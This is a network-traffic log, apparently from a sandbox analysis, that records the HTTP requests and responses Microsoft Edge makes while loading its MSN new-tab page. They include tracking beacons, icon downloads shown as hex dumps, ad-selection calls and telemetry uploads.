2024-11-21 18:58:49 UTC	925	OUT	GET /b?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:50 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 21 Nov 2024 18:58:49 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1029bb211dbb5e42e166b331732215529; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1029bb211dbb5e42e166b331732215529; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 d6c161424e808aac68bf94834fb61044.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: LFXGqvvcR7TslaSNZrQshyKPoMJKWqW2Cssao1xtFBFvXlVLfO4JMg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49803	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 3f6d6848-c01e-001c-5547-3cb010000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-1777c6cb754xrr98hC1TEB3kag0000000bag00000000kv56 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49801	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1e9f1f98-401e-0006-2c47-3c9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-178bfbc474bgvl54hC1NYCsfuw00000001sg00000000w13t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49806	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 4672b4b6-e01e-0066-2047-3cda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-178bfbc474b7cbwqhC1NYC8z4n00000001u000000000ck8c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49802	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0bf90eff-901e-002d-0b47-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-r1d97b995774n5h6hC1TEBvf840000000au0000000005df0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49804	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 24d32a19-101e-0073-7a47-3c18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-1777c6cb754j47wfhC1TEB5wrw00000007dg000000003dd7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49805	13.107.246.40	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:50 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:51 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 4a96c913-901e-000f-2347-3c85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185850Z-1777c6cb7544n7p6hC1TEBph9800000000pg00000000dgdx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49808	23.96.180.189	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=25D6022CE12A6CAA01731712E02D6DC5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e337a6e6f50e41adb5f37f032fd66200 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1
2024-11-21 18:58:52 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 18:58:51 GMT Connection: close
2024-11-21 18:58:52 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49807	52.168.112.67	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215528917&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3849 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1
2024-11-21 18:58:51 UTC	3849	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 31 38 3a 35 38 3a 34 38 2e 39 30 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 63 38 30 63 61 62 64 2d 36 33 62 31 2d 34 33 63 32 2d 61 36 37 39 2d 35 30 37 34 65 65 30 35 34 64 61 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 38 35 36 38 35 39 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-21T18:58:48.905Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"5c80cabd-63b1-43c2-a679-5074ee054da9","epoch":"1885685970"},"app":{"locale
2024-11-21 18:58:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=75f17856a4164c9b94180a568be9382a&HASH=75f1&LV=202411&V=4&LU=1732215531829; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 18:58:51 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=703e1f9ae8c44d70b41c9b83e51e3fe2; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 19:28:51 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2912 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 18:58:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49809	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:51 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:52 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=195052 Expires: Sun, 24 Nov 2024 01:09:43 GMT Date: Thu, 21 Nov 2024 18:58:51 GMT Connection: close
